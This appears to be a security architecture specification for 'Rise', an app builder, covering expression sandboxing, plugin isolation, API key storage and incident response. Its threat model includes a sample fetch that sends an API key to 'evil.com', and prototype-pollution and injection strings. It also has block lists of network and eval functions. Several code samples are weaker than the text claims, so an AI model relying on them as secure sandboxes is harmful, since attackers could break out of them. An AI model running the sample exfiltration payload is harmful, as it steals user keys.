Comprehensive security architecture for Rise - protecting users while empowering them with code execution capabilities.
Rise faces a unique security challenge: we want to empower users to write arbitrary JavaScript (expressions, global functions) while protecting them from malicious code (from AI, plugins, or their own mistakes).
Core Security Principles:
- Defense in Depth: Multiple layers of protection
- Fail Secure: Errors should prevent execution, not allow bypass
- Transparency: Users know what code is running and why
- Escape Hatches: Users can override security for legitimate needs
// User types this in expression editor
"while(true){} // Infinite loop - freeze app"
"fetch('evil.com/steal?data=' + localStorage.getItem('apiKey'))"
"delete window.React // Break application"{
"expression": "__proto__.polluted = 'evil'; props.user.name",
"aiGenerated": true
}// Plugin code could:
// - Read file system outside project
// - Exfiltrate API keys
// - Inject malicious code into generated files
// - Open backdoors in user's system// User input that becomes code
const userName = "'; DROP TABLE users; --";
const expr = `user.name === '${userName}'`; // SQL-like injection- API Keys: Claude/OpenAI keys worth real money
- User Code: Generated project is user's intellectual property
- File System: Project files and system files
- User Data: Credentials, environment variables
- Application Integrity: Prevent app corruption
User Expression → Parser → Validator → Sandbox → Result
↓ ↓ ↓ ↓ ↓
Raw String AST Tree Checks VM2/Worker Safe Value
Use @babel/parser for reliable JavaScript parsing:
import { parse } from '@babel/parser';
import traverse from '@babel/traverse';
class ExpressionParser {
parse(expression: string): AST {
try {
return parse(expression, {
sourceType: 'script',
plugins: [], // No JSX, TypeScript, etc. in expressions
});
} catch (error) {
throw new SecurityError('Invalid JavaScript syntax', {
expression,
error: error.message,
});
}
}
}class ExpressionValidator {
private readonly BLOCKED_IDENTIFIERS = new Set([
'eval', 'Function', 'setTimeout', 'setInterval',
'XMLHttpRequest', 'fetch', 'WebSocket',
'__proto__', 'prototype', 'constructor',
'require', 'import', 'process', 'global',
]);
private readonly ALLOWED_GLOBALS = new Set([
'Math', 'Date', 'String', 'Number', 'Boolean',
'Array', 'Object', 'JSON', 'console',
'props', 'state', 'global', // Rise-specific
]);
validate(ast: AST): ValidationResult {
const violations: SecurityViolation[] = [];
traverse(ast, {
// Block dangerous function calls
CallExpression: (path) => {
const callee = path.node.callee;
if (this.isBlockedFunction(callee)) {
violations.push({
type: 'BLOCKED_FUNCTION',
location: path.node.loc,
function: callee.name,
message: `Function '${callee.name}' is not allowed`,
});
}
},
// Block property access on sensitive objects
MemberExpression: (path) => {
const object = path.node.object;
const property = path.node.property;
// Block __proto__, prototype manipulation
if (this.isSensitiveProperty(property)) {
violations.push({
type: 'SENSITIVE_PROPERTY',
location: path.node.loc,
property: property.name,
message: `Access to '${property.name}' is not allowed`,
});
}
},
// Block assignment to forbidden identifiers
AssignmentExpression: (path) => {
const left = path.node.left;
if (this.isProtectedIdentifier(left)) {
violations.push({
type: 'PROTECTED_ASSIGNMENT',
location: path.node.loc,
message: 'Cannot modify protected identifiers',
});
}
},
// Block import/require statements
ImportDeclaration: (path) => {
violations.push({
type: 'IMPORT_NOT_ALLOWED',
location: path.node.loc,
message: 'Import statements not allowed in expressions',
});
},
CallExpression: (path) => {
if (path.node.callee.name === 'require') {
violations.push({
type: 'REQUIRE_NOT_ALLOWED',
location: path.node.loc,
message: 'require() not allowed in expressions',
});
}
},
});
return {
isValid: violations.length === 0,
violations,
};
}
private isBlockedFunction(node: any): boolean {
if (node.type === 'Identifier') {
return this.BLOCKED_IDENTIFIERS.has(node.name);
}
return false;
}
private isSensitiveProperty(node: any): boolean {
if (node.type === 'Identifier') {
return this.BLOCKED_IDENTIFIERS.has(node.name);
}
return false;
}
}Use VM2 for secure code execution:
import { VM } from 'vm2';
class ExpressionSandbox {
private readonly MAX_EXECUTION_TIME = 100; // milliseconds
private readonly MAX_MEMORY = 50 * 1024 * 1024; // 50MB
async execute(
expression: string,
context: ExpressionContext
): Promise<any> {
// Create isolated VM
const vm = new VM({
timeout: this.MAX_EXECUTION_TIME,
sandbox: this.createSandbox(context),
eval: false,
wasm: false,
fixAsync: true,
});
try {
const result = vm.run(`(${expression})`);
return result;
} catch (error) {
if (error.message.includes('timeout')) {
throw new SecurityError('Expression exceeded time limit', {
expression,
limit: this.MAX_EXECUTION_TIME,
});
}
throw new SecurityError('Expression execution failed', {
expression,
error: error.message,
});
}
}
private createSandbox(context: ExpressionContext): object {
return {
// Allowed globals
Math,
Date,
String,
Number,
Boolean,
Array,
Object,
JSON,
console: {
log: (...args: any[]) => {
// Safe logging - prevent sensitive data exposure
this.logSafely('expression-log', args);
},
},
// Rise-specific context
props: context.props,
state: context.state,
global: context.globalState,
// Global functions (user-defined)
...context.globalFunctions,
// Block access to dangerous globals
window: undefined,
document: undefined,
process: undefined,
require: undefined,
module: undefined,
exports: undefined,
};
}
private logSafely(category: string, args: any[]): void {
// Sanitize arguments before logging
const sanitized = args.map(arg => {
if (typeof arg === 'object') {
return JSON.stringify(arg, this.sensitiveDataReplacer);
}
return arg;
});
console.log(`[${category}]`, ...sanitized);
}
private sensitiveDataReplacer(key: string, value: any): any {
const sensitiveKeys = ['password', 'token', 'apiKey', 'secret'];
if (sensitiveKeys.includes(key.toLowerCase())) {
return '[REDACTED]';
}
return value;
}
}For generated apps running in browser, use Web Workers:
// runtime/expressionWorker.ts
class ExpressionWorker {
private worker: Worker;
constructor() {
this.worker = new Worker('/workers/expression-executor.js');
}
async evaluate(expression: string, context: any): Promise<any> {
return new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
this.worker.terminate();
reject(new Error('Expression timeout'));
}, 100);
this.worker.onmessage = (e) => {
clearTimeout(timeout);
if (e.data.error) {
reject(new Error(e.data.error));
} else {
resolve(e.data.result);
}
};
this.worker.postMessage({ expression, context });
});
}
}
// workers/expression-executor.js
self.onmessage = function(e) {
const { expression, context } = e.data;
try {
// Create function with limited scope
const fn = new Function(
'props', 'state', 'global',
`'use strict'; return (${expression})`
);
const result = fn(context.props, context.state, context.global);
self.postMessage({ result });
} catch (error) {
self.postMessage({ error: error.message });
}
};class PluginSandbox {
private readonly ALLOWED_MODULES = new Set([
'@babel/parser',
'@babel/traverse',
'@babel/generator',
'prettier',
]);
async loadPlugin(pluginPath: string): Promise<FrameworkPlugin> {
// 1. Validate plugin package.json
const packageJson = await this.validatePackageJson(pluginPath);
// 2. Check plugin signature (future: code signing)
await this.verifyPluginSignature(pluginPath);
// 3. Load plugin in VM2 sandbox
const plugin = await this.loadInSandbox(pluginPath);
// 4. Validate plugin interface
this.validatePluginInterface(plugin);
return plugin;
}
private async loadInSandbox(pluginPath: string): Promise<any> {
const { NodeVM } = require('vm2');
const vm = new NodeVM({
console: 'inherit',
sandbox: {},
require: {
external: true,
builtin: ['path', 'fs'],
root: pluginPath,
mock: {
fs: this.createRestrictedFS(pluginPath),
},
},
timeout: 5000, // 5 second load timeout
});
return vm.run(`
const plugin = require('${pluginPath}');
module.exports = plugin;
`);
}
private createRestrictedFS(pluginPath: string): any {
const fs = require('fs');
const path = require('path');
// Only allow file access within plugin directory
return {
readFileSync: (filepath: string, encoding?: string) => {
const resolved = path.resolve(pluginPath, filepath);
if (!resolved.startsWith(pluginPath)) {
throw new Error('Plugin cannot access files outside its directory');
}
return fs.readFileSync(resolved, encoding);
},
// Deny write operations
writeFileSync: () => {
throw new Error('Plugins cannot write files');
},
};
}
private validatePluginInterface(plugin: any): void {
const required = [
'name',
'version',
'generator',
'parser',
'runtime',
'project',
];
for (const prop of required) {
if (!(prop in plugin)) {
throw new SecurityError(`Plugin missing required property: ${prop}`);
}
}
// Validate generator methods
if (typeof plugin.generator.generateComponent !== 'function') {
throw new SecurityError('Plugin generator.generateComponent must be a function');
}
}
}class PluginResourceMonitor {
private cpuUsage = new Map<string, number>();
private memoryUsage = new Map<string, number>();
async executePlugin(
pluginId: string,
fn: () => Promise<any>
): Promise<any> {
const startCPU = process.cpuUsage();
const startMemory = process.memoryUsage().heapUsed;
try {
const result = await Promise.race([
fn(),
this.timeout(5000), // 5 second timeout
]);
// Track resource usage
const cpuDelta = process.cpuUsage(startCPU);
const memoryDelta = process.memoryUsage().heapUsed - startMemory;
this.recordUsage(pluginId, cpuDelta, memoryDelta);
this.checkLimits(pluginId);
return result;
} catch (error) {
throw new SecurityError('Plugin execution failed', {
pluginId,
error: error.message,
});
}
}
private timeout(ms: number): Promise<never> {
return new Promise((_, reject) => {
setTimeout(() => reject(new Error('Plugin timeout')), ms);
});
}
private recordUsage(
pluginId: string,
cpu: NodeJS.CpuUsage,
memory: number
): void {
const cpuTotal = cpu.user + cpu.system;
this.cpuUsage.set(pluginId, cpuTotal);
this.memoryUsage.set(pluginId, memory);
}
private checkLimits(pluginId: string): void {
const cpu = this.cpuUsage.get(pluginId) || 0;
const memory = this.memoryUsage.get(pluginId) || 0;
// Limits
const MAX_CPU = 1000000; // 1 second of CPU time
const MAX_MEMORY = 100 * 1024 * 1024; // 100MB
if (cpu > MAX_CPU) {
throw new SecurityError('Plugin exceeded CPU limit', {
pluginId,
cpu,
limit: MAX_CPU,
});
}
if (memory > MAX_MEMORY) {
throw new SecurityError('Plugin exceeded memory limit', {
pluginId,
memory,
limit: MAX_MEMORY,
});
}
}
}import keytar from 'keytar';
class APIKeyManager {
private readonly SERVICE_NAME = 'rise-builder';
private readonly KEY_ROTATION_DAYS = 90;
async storeKey(provider: 'claude' | 'openai', apiKey: string): Promise<void> {
// Validate key format
this.validateKeyFormat(provider, apiKey);
// Store in OS keychain
await keytar.setPassword(this.SERVICE_NAME, provider, apiKey);
// Record metadata (NOT the key itself)
await this.recordKeyMetadata(provider, {
storedAt: new Date(),
rotateAt: new Date(Date.now() + this.KEY_ROTATION_DAYS * 86400000),
});
}
async getKey(provider: 'claude' | 'openai'): Promise<string | null> {
const key = await keytar.getPassword(this.SERVICE_NAME, provider);
if (!key) {
return null;
}
// Check if key needs rotation
const metadata = await this.getKeyMetadata(provider);
if (metadata && new Date() > metadata.rotateAt) {
this.notifyKeyRotation(provider);
}
return key;
}
async deleteKey(provider: 'claude' | 'openai'): Promise<void> {
await keytar.deletePassword(this.SERVICE_NAME, provider);
await this.deleteKeyMetadata(provider);
}
private validateKeyFormat(provider: string, key: string): void {
const patterns = {
claude: /^sk-ant-[a-zA-Z0-9-_]{95}$/,
openai: /^sk-[a-zA-Z0-9]{48}$/,
};
const pattern = patterns[provider];
if (pattern && !pattern.test(key)) {
throw new SecurityError('Invalid API key format', { provider });
}
}
private async recordKeyMetadata(
provider: string,
metadata: KeyMetadata
): Promise<void> {
// Store in local config (NOT the key itself!)
const config = await this.loadConfig();
config.apiKeys = config.apiKeys || {};
config.apiKeys[provider] = metadata;
await this.saveConfig(config);
}
}class APIUsageTracker {
private readonly DAILY_BUDGET_USD = 10; // Default $10/day
private usage = new Map<string, DailyUsage>();
async trackRequest(
provider: string,
tokens: { prompt: number; completion: number }
): Promise<void> {
const today = this.getToday();
const usage = this.usage.get(today) || this.createDailyUsage();
// Calculate cost (approximate)
const cost = this.calculateCost(provider, tokens);
usage.totalCost += cost;
usage.requestCount++;
this.usage.set(today, usage);
// Check budget
if (usage.totalCost >= this.DAILY_BUDGET_USD * 0.8) {
this.notifyBudgetWarning(usage);
}
if (usage.totalCost >= this.DAILY_BUDGET_USD) {
throw new SecurityError('Daily API budget exceeded', {
usage: usage.totalCost,
budget: this.DAILY_BUDGET_USD,
});
}
}
private calculateCost(
provider: string,
tokens: { prompt: number; completion: number }
): number {
// Approximate costs (as of 2025)
const pricing = {
claude: {
prompt: 0.000003, // $3 per 1M tokens
completion: 0.000015, // $15 per 1M tokens
},
openai: {
prompt: 0.00001, // $10 per 1M tokens
completion: 0.00003, // $30 per 1M tokens
},
};
const rates = pricing[provider] || pricing.openai;
return (
tokens.prompt * rates.prompt +
tokens.completion * rates.completion
);
}
async estimateCost(
provider: string,
promptLength: number
): Promise<CostEstimate> {
const tokensApprox = Math.ceil(promptLength / 4); // ~4 chars per token
const cost = this.calculateCost(provider, {
prompt: tokensApprox,
completion: tokensApprox * 2, // Assume 2x completion
});
const remaining = await this.getRemainingBudget();
return {
estimatedCost: cost,
remainingBudget: remaining,
canAfford: cost <= remaining,
};
}
}class InputSanitizer {
sanitizeComponentName(name: string): string {
// Allow: letters, numbers, underscore, dash
// Must start with letter
const sanitized = name
.trim()
.replace(/[^a-zA-Z0-9_-]/g, '')
.replace(/^[^a-zA-Z]+/, '');
if (!sanitized) {
throw new SecurityError('Invalid component name', { name });
}
// Prevent reserved words
const reserved = ['eval', 'function', 'constructor', 'prototype'];
if (reserved.includes(sanitized.toLowerCase())) {
throw new SecurityError('Component name is reserved', { name: sanitized });
}
return sanitized;
}
sanitizePropertyName(name: string): string {
// Similar to component name but allow camelCase
return name
.trim()
.replace(/[^a-zA-Z0-9_]/g, '')
.replace(/^[^a-zA-Z]+/, '');
}
sanitizeFilePath(path: string, projectRoot: string): string {
const fs = require('fs');
const nodePath = require('path');
// Resolve to absolute path
const resolved = nodePath.resolve(projectRoot, path);
// Ensure path is within project
if (!resolved.startsWith(projectRoot)) {
throw new SecurityError('Path traversal detected', { path });
}
return resolved;
}
sanitizeHTML(html: string): string {
// Use DOMPurify in browser context
if (typeof window !== 'undefined' && window.DOMPurify) {
return window.DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'code'],
ALLOWED_ATTR: ['href', 'target'],
});
}
// Server-side: strip all HTML
return html.replace(/<[^>]*>/g, '');
}
}class CodeGenerationValidator {
validateGeneratedCode(code: string): ValidationResult {
const violations: SecurityViolation[] = [];
// Parse generated code
const ast = parse(code, {
sourceType: 'module',
plugins: ['jsx', 'typescript'],
});
traverse(ast, {
// Check for dangerous patterns
CallExpression: (path) => {
const callee = path.node.callee;
// Block eval, Function constructor
if (
callee.type === 'Identifier' &&
['eval', 'Function'].includes(callee.name)
) {
violations.push({
type: 'DANGEROUS_FUNCTION',
location: path.node.loc,
message: `Generated code contains dangerous function: ${callee.name}`,
});
}
// Check for dangerouslySetInnerHTML
if (
callee.type === 'MemberExpression' &&
callee.property.name === 'dangerouslySetInnerHTML'
) {
violations.push({
type: 'XSS_RISK',
location: path.node.loc,
message: 'Generated code uses dangerouslySetInnerHTML',
});
}
},
// Check for inline event handlers (potential XSS)
JSXAttribute: (path) => {
const name = path.node.name.name;
const value = path.node.value;
if (
name.startsWith('on') &&
value.type === 'StringLiteral'
) {
violations.push({
type: 'INLINE_HANDLER',
location: path.node.loc,
message: 'Inline event handlers are not allowed',
});
}
},
});
return {
isValid: violations.length === 0,
violations,
};
}
sanitizeGeneratedCode(code: string): string {
// Add security headers
const header = `
/**
* SECURITY: This code was generated by Rise
* Do not manually execute untrusted code
* Generated: ${new Date().toISOString()}
*/
`;
return header + code;
}
}class SecurityLogger {
async logSecurityEvent(event: SecurityEvent): Promise<void> {
const logEntry = {
timestamp: new Date().toISOString(),
type: event.type,
severity: event.severity,
details: this.sanitizeDetails(event.details),
userId: event.userId,
projectId: event.projectId,
};
// Write to secure log file
await this.appendToLog(logEntry);
// Alert on critical events
if (event.severity === 'CRITICAL') {
this.alertAdmin(logEntry);
}
}
private sanitizeDetails(details: any): any {
// Remove sensitive data from logs
const sanitized = { ...details };
const sensitiveKeys = [
'apiKey', 'token', 'password', 'secret',
'privateKey', 'credential',
];
for (const key of sensitiveKeys) {
if (key in sanitized) {
sanitized[key] = '[REDACTED]';
}
}
return sanitized;
}
}## Security Guidelines for Rise Users
### ✅ Safe Practices
1. **Expressions**
- Use only trusted global functions
- Avoid accessing external APIs
- Test expressions with sample data first
2. **Plugins**
- Install plugins from trusted sources only
- Review plugin permissions before installing
- Keep plugins updated
3. **API Keys**
- Never share API keys
- Rotate keys every 90 days
- Set budget limits
### ⚠️ Warning Signs
- Expression takes > 1 second to execute
- Plugin requests unusual permissions
- Unexpected API costs
- Generated code contains warnings
### 🚨 Report Security Issues
Email: security@rise-builder.com
Response time: < 24 hours- [ ] Expression XSS injection attempts
- [ ] Expression prototype pollution
- [ ] Expression infinite loops
- [ ] Expression memory exhaustion
- [ ] Plugin file system escape
- [ ] Plugin network access
- [ ] API key extraction attempts
- [ ] Generated code injection
- [ ] Path traversal in file operations
- [ ] SQL injection in database expressions// Run on every PR
class SecurityScanner {
async scanProject(): Promise<SecurityReport> {
return {
expressions: await this.scanExpressions(),
plugins: await this.scanPlugins(),
dependencies: await this.scanDependencies(),
code: await this.scanGeneratedCode(),
};
}
private async scanDependencies(): Promise<DependencyScan> {
// Use npm audit
const { execSync } = require('child_process');
const output = execSync('npm audit --json', { encoding: 'utf8' });
return JSON.parse(output);
}
}- API keys stored locally only
- No telemetry without consent
- User data never leaves their machine
- Clear data deletion process
- Audit logging
- Access controls
- Encryption at rest
- Incident response plan
Level 1 - Low: Single user affected, no data breach Level 2 - Medium: Multiple users affected, potential exposure Level 3 - High: Data breach, API key compromise Level 4 - Critical: Systemic vulnerability, widespread impact
class IncidentResponse {
async handleIncident(incident: SecurityIncident): Promise<void> {
// 1. Assess severity
const level = this.assessSeverity(incident);
// 2. Contain threat
if (level >= 3) {
await this.containThreat(incident);
}
// 3. Notify affected users
if (level >= 2) {
await this.notifyUsers(incident);
}
// 4. Patch vulnerability
await this.deployPatch(incident);
// 5. Post-mortem
await this.conductPostMortem(incident);
}
private async containThreat(incident: SecurityIncident): Promise<void> {
// Immediate actions:
// - Disable affected plugins
// - Revoke compromised API keys
// - Block malicious expressions
// - Rollback dangerous code generation
}
}- ✅ Expression sandboxing with VM2
- ✅ Plugin sandbox with resource limits
- ✅ API key encryption
- ✅ Input sanitization
- Code signing for plugins
- Two-factor authentication for API key access
- Security dashboard for users
- Automated vulnerability scanning
- SOC 2 certification
- Bug bounty program
- Formal security audit
- Penetration testing
Security is non-negotiable for Rise because we're executing user code. This specification provides:
- Multiple defensive layers to prevent attacks
- Clear implementation guidelines for developers
- Monitoring and response procedures for incidents
- User education to prevent mistakes
Critical: Every security measure must be implemented before MVP launch. A single vulnerability could destroy user trust permanently.
Next Steps:
- Human dev review this specification
- Implement expression sandbox in Phase 1
- Add security tests to CI/CD pipeline
- Create user security documentation
See Also:
- TESTING_STRATEGY.md - Security testing requirements
- PLUGIN_SYSTEM.md - Plugin architecture
- EXPRESSION_SYSTEM.md - Expression usage
Last Updated: October 25, 2025
Status: ✅ Complete - Ready for Implementation
Review Required: Senior Security Engineer